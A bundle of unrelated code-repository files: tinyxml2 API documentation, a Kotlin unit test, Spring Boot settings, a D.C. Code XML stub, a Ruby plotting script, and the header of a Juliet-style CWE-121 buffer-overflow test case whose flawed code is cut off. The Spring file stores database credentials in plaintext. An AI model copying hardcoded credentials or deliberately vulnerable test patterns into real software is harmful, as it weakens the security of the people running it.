<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><b>tinyxml2</b></li><li class="navelem"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">XMLElement</a></li> </ul>
</div>
</div><!-- top -->
<div class="header">
<div class="headertitle">
<div class="title">tinyxml2::XMLElement Member List</div> </div>
</div><!--header-->
<div class="contents">
<p>This is the complete list of members for <a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a>, including all inherited members.</p>
<table class="directory">
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a3ea8a40e788fb9ad876c28a32932c6d5">Accept</a>(XMLVisitor *visitor) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">virtual</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a70e49ed60b11212ae35f7e354cfe1de9">Attribute</a>(const char *name, const char *value=0) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a53eda26131e1ad1031ef8ec8adb51bd8">BoolAttribute</a>(const char *name, bool defaultValue=false) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a68569f59f6382bcea7f5013ec59736d2">BoolText</a>(bool defaultValue=false) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a62c71b6bf8734b5424063b8d9a61c266">DeepClone</a>(XMLDocument *target) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#aebd45aa7118964c30b32fe12e944628a">DeleteAttribute</a>(const char *name)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a363b6edbd6ebd55f8387d2b89f2b0921">DeleteChild</a>(XMLNode *node)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a0360085cc54df5bff85d5c5da13afdce">DeleteChildren</a>()</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a10a90c505aea716bf073eea1c97f33b5">DoubleAttribute</a>(const char *name, double defaultValue=0) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a81b1ff0cf2f2cd09be8badc08b39a2b7">DoubleText</a>(double defaultValue=0) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a2dcd4d5d6fb63396cd2f257c318b42c4">FindAttribute</a>(const char *name) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a3e191704c8d499906ec11fe2f60c6686">FirstAttribute</a>() const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#ae7dc225e1018cdd685f7563593a1fe08">FirstChild</a>() const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a1795a35852dc8aae877cc8ded986e59b">FirstChildElement</a>(const char *name=0) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#ab1f4be2332e27dc640e9b6abd01d64dd">FloatAttribute</a>(const char *name, float defaultValue=0) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a45444eb21f99ca46101545992dc2e927">FloatText</a>(float defaultValue=0) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a2de84cfa4ec3fe249bad745069d145f1">GetDocument</a>() const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#af343d1ef0b45c0020e62d784d7e67a68">GetDocument</a>()</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a9b5fc636646fda761d342c72e91cb286">GetLineNum</a>() const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a6d5c8d115561ade4e4456b71d91b6f51">GetText</a>() const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a7f0687574afa03bc479dc44f29db0afe">GetUserData</a>() const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a85adb8f0b7477eec30f9a41d420b09c2">InsertAfterChild</a>(XMLNode *afterThis, XMLNode *addThis)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#aeb249ed60f4e8bfad3709151c3ee4286">InsertEndChild</a>(XMLNode *addThis)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a8ff7dc071f3a1a6ae2ac25a37492865d">InsertFirstChild</a>(XMLNode *addThis)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a66d96972adecd816194191f13cc4a0a0">Int64Attribute</a>(const char *name, int64_t defaultValue=0) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#aab6151f7e3b4c2c0a8234e262d7b6b8a">Int64Text</a>(int64_t defaultValue=0) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a95a89b13bb14a2d4655e2b5b406c00d4">IntAttribute</a>(const char *name, int defaultValue=0) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a9b8583a277e8e26f4cbbb5492786778e">LastChild</a>() const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a173e9d1341bc56992e2d320a35936551">LastChildElement</a>(const char *name=0) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a63e057fb5baee1dd29f323cb85907b35">Name</a>() const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a79db9ef0fe014d27790f2218b87bcbb5">NextSibling</a>() const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a1264c86233328f0cd36297552d982f80">NextSiblingElement</a>(const char *name=0) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#ac3ab489e6e202a3cd1762d3b332e89d4">NoChildren</a>() const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#ae0f62bc186c56c2e0483ebd52dbfbe34">Parent</a>() const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#aac667c513d445f8b783e1e15ef9d3551">PreviousSibling</a>() const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a872936cae46fb473eb47fec99129fc70">PreviousSiblingElement</a>(const char *name=0) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a042fc30504347b84a56cf863ad528a4f">QueryAttribute</a>(const char *name, int *value) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a14c1bb77c39689838be01838d86ca872">QueryBoolAttribute</a>(const char *name, bool *value) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a3fe5417d59eb8f5c4afe924b7d332736">QueryBoolText</a>(bool *bval) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a5f0964e2dbd8e2ee7fce9beab689443c">QueryDoubleAttribute</a>(const char *name, double *value) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a684679c99bb036a25652744cec6c4d96">QueryDoubleText</a>(double *dval) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#acd5eeddf6002ef90806af794b9d9a5a5">QueryFloatAttribute</a>(const char *name, float *value) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#afa332afedd93210daa6d44b88eb11e29">QueryFloatText</a>(float *fval) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a7c0955d80b6f8d196744eacb0f6e90a8">QueryInt64Attribute</a>(const char *name, int64_t *value) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a120c538c8eead169e635dbc70fb226d8">QueryInt64Text</a>(int64_t *uval) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a8a78bc1187c1c45ad89f2690eab567b1">QueryIntAttribute</a>(const char *name, int *value) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a926357996bef633cb736e1a558419632">QueryIntText</a>(int *ival) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a26fc84cbfba6769dafcfbf256c05e22f">QueryUnsignedAttribute</a>(const char *name, unsigned int *value) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a14d38aa4b5e18a46274a27425188a6a1">QueryUnsignedText</a>(unsigned *uval) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a11943abf2d0831548c3790dd5d9f119c">SetAttribute</a>(const char *name, const char *value)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#aae6568c64c7f1cc88be8461ba41a79cf">SetAttribute</a>(const char *name, int value)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#ae143997e90064ba82326b29a9930ea8f">SetAttribute</a>(const char *name, unsigned value)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#aaeefdf9171fec91b13a776b42299b0dd">SetAttribute</a>(const char *name, int64_t value)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#aa848b696e6a75e4e545c6da9893b11e1">SetAttribute</a>(const char *name, bool value)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a233397ee81e70eb5d4b814c5f8698533">SetAttribute</a>(const char *name, double value)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a554b70d882e65b28fc084b23df9b9759">SetAttribute</a>(const char *name, float value)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a97712009a530d8cb8a63bf705f02b4f1">SetName</a>(const char *str, bool staticMem=false)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a1f9c2cd61b72af5ae708d37b7ad283ce">SetText</a>(const char *inText)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#aeae8917b5ea6060b3c08d4e3d8d632d7">SetText</a>(int value)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a7bbfcc11d516598bc924a8fba4d08597">SetText</a>(unsigned value)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a7b62cd33acdfeff7ea2b1b330d4368e4">SetText</a>(int64_t value)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#ae4b543d6770de76fb6ab68e541c192a4">SetText</a>(bool value)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a67bd77ac9aaeff58ff20b4275a65ba4e">SetText</a>(double value)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a51d560da5ae3ad6b75e0ab9ffb2ae42a">SetText</a>(float value)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a002978fc889cc011d143185f2377eca2">SetUserData</a>(void *userData)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a09dd68cf9eae137579f6e50f36487513">SetValue</a>(const char *val, bool staticMem=false)</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#ac035742d68b0c50c3f676374e59fe750">ShallowClone</a>(XMLDocument *document) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">virtual</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#ad9ea913a460b48979bd83cf9871c99f6">ShallowEqual</a>(const XMLNode *compare) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">virtual</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#aff47671055aa99840a1c1ebd661e63e3">ToComment</a>()</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span><span class="mlabel">virtual</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a174fd4c22c010b58138c1b84a0dfbd51">ToDeclaration</a>()</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span><span class="mlabel">virtual</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a836e2966ed736fc3c94f70e12a2a3357">ToDocument</a>()</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span><span class="mlabel">virtual</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#ad9ff5c2dbc15df36cf664ce1b0ea0a5d">ToElement</a>()</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"><span class="mlabel">inline</span><span class="mlabel">virtual</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a41c55dab9162d1eb62db2008430e376b">ToText</a>()</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span><span class="mlabel">virtual</span></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a8675a74aa0ada6eccab0c77ef3e5b9bd">ToUnknown</a>()</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"><span class="mlabel">inline</span><span class="mlabel">virtual</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#afea43a1d4aa33e3703ddee5fc9adc26c">UnsignedAttribute</a>(const char *name, unsigned defaultValue=0) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html#a49bad014ffcc17b0b6119d5b2c97dfb5">UnsignedText</a>(unsigned defaultValue=0) const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_element.html">tinyxml2::XMLElement</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html#a66344989a4b436155bcda72bd6b07b82">Value</a>() const</td><td class="entry"><a class="el" href="classtinyxml2_1_1_x_m_l_node.html">tinyxml2::XMLNode</a></td><td class="entry"></td></tr>
</table></div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated on Sat Jul 15 2017 19:39:36 for TinyXML-2 by  <a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.13
</small></address>
</body>
</html>
| {
"pile_set_name": "Github"
} |
// Copyright 2017-2020 Fitbit, Inc
// SPDX-License-Identifier: Apache-2.0
package com.fitbit.goldengate.bindings.util
import com.fitbit.goldengate.bindings.BaseTest
import org.junit.Assert.assertNotNull
import org.junit.Assert.assertTrue
import org.junit.Test
import java.util.Arrays
class MemoryDataSinkTest : BaseTest() {
private val data = byteArrayOf(0x01)
@Test
fun shouldCreateSink() {
MemoryDataSink().use { sink ->
assertNotNull(sink)
assertTrue(sink.thisPointer > 0)
}
}
@Test
fun canAttachDataSource() {
MemoryDataSink().use { sink ->
MemoryDataSource(data).use { source ->
sink.attach(source.thisPointer)
}
}
}
@Test
fun shouldReceiveDataSentFromSource() {
MemoryDataSink().use { sink ->
MemoryDataSource(data).use { source ->
// attach DataSource that will send data
sink.attach(source.thisPointer)
// start sending data from DataSource
source.start()
// verify that sink gets the data sent from source
assertTrue(Arrays.equals(sink.getBufferWithSleep(), data))
}
}
}
}
/**
* Sleep is added here as data in delivered on GG loop thread and synchronously checking can be
* flaky without this sleep
*/
fun MemoryDataSink.getBufferWithSleep(millis: Long = 100): ByteArray {
Thread.sleep(millis)
return getBuffer()
}
| {
"pile_set_name": "Github"
} |
server.port=8080
spring.application.name=order
management.endpoints.web.exposure.include=*
logging.level.org.springframework.boot.actuate.trace.WebRequestTraceFilter: TRACE
logging.level.com.ewolff.microservice.order.logic.OrderController: TRACE
logging.level.com.ewolff.microservice.order.RandomlyFailingFilter: TRACE
spring.jpa.hibernate.ddl-auto=update
spring.datasource.url=jdbc:postgresql://postgres/dborder
spring.datasource.username=dbuser
spring.datasource.password=dbpass
spring.datasource.driver-class-name=org.postgresql.Driver
spring.sleuth.baggage.remote-fields=x-request-id,x-ot-span-context | {
"pile_set_name": "Github"
} |
<?xml version='1.0' encoding='utf-8'?>
<section xmlns="https://code.dccouncil.us/schemas/dc-library" xmlns:codified="https://code.dccouncil.us/schemas/codified" xmlns:codify="https://code.dccouncil.us/schemas/codify" xmlns:xi="http://www.w3.org/2001/XInclude" containing-doc="D.C. Code">
<num>2-303.19a</num>
<reason>Repealed</reason>
<heading>Report by Chief Procurement Officer.</heading>
<text>Repealed.</text>
<annotations>
<annotation doc="D.C. Law 6-85" type="History" path="§319a">Feb. 21, 1986, D.C. Law 6-85, § 319a</annotation>
<annotation doc="D.C. Law 16-122" type="History">as added June 8, 2006, D.C. Law 16-122, § 2(f), 53 DCR 2834</annotation>
<annotation doc="D.C. Law 18-371" type="History">Apr. 8, 2011, D.C. Law 18-371, § 1201(a), 58 DCR 1185</annotation>
</annotations>
</section>
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env ruby
require 'gnuplot'
require 'yaml'
# The YAML produced by AttackRecovery.rb
input_path = ARGV[0]
output_path = ARGV[1]
data = YAML.load(File.read(input_path))
if data.keys.length != 1
puts "There are more than one key, using the 'first'."
end
files_to_distances = Hash.new { |h,k| h[k] = Array.new }
array = data[data.keys[0]]
array.each do |entry|
file = entry[:file].split('_')[0]
dist = entry[:distance]
files_to_distances[file] << dist
end
data = []
i = 0
files_to_distances.each do |file, distance_array|
print "#{i} "
distance_array.each do |d|
data << [i, d]
print "#{d} "
end
print "\n"
i += 1
end
exit
Gnuplot.open do |gp|
Gnuplot::Plot.new( gp ) do |plot|
plot.title File.basename(input_path)
# FIXME
plot.xrange "[0:10]"
plot.yrange "[0:2000]"
plot.terminal "png"
plot.output File.expand_path(output_path, __FILE__)
plot.ylabel "Distance"
plot.xlabel "Page (x Sample)"
plot.data << Gnuplot::DataSet.new( "sin(x)" ) do |ds|
ds.with = "points"
ds.title = "Distances"
end
end
end
| {
"pile_set_name": "Github"
} |
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE121_Stack_Based_Buffer_Overflow__CWE131_memmove_62a.cpp
Label Definition File: CWE121_Stack_Based_Buffer_Overflow__CWE131.label.xml
Template File: sources-sink-62a.tmpl.cpp
*/
/*
* @description
* CWE: 121 Stack Based Buffer Overflow
* BadSource: Allocate memory without using sizeof(int)
* GoodSource: Allocate memory using sizeof(int)
* Sinks: memmove
* BadSink : Copy array to data using memmove()
* Flow Variant: 62 Data flow: data flows using a C++ reference from one function to another in different source files
*
* */
#include "std_testcase.h"
namespace CWE121_Stack_Based_Buffer_Overflow__CWE131_memmove_62
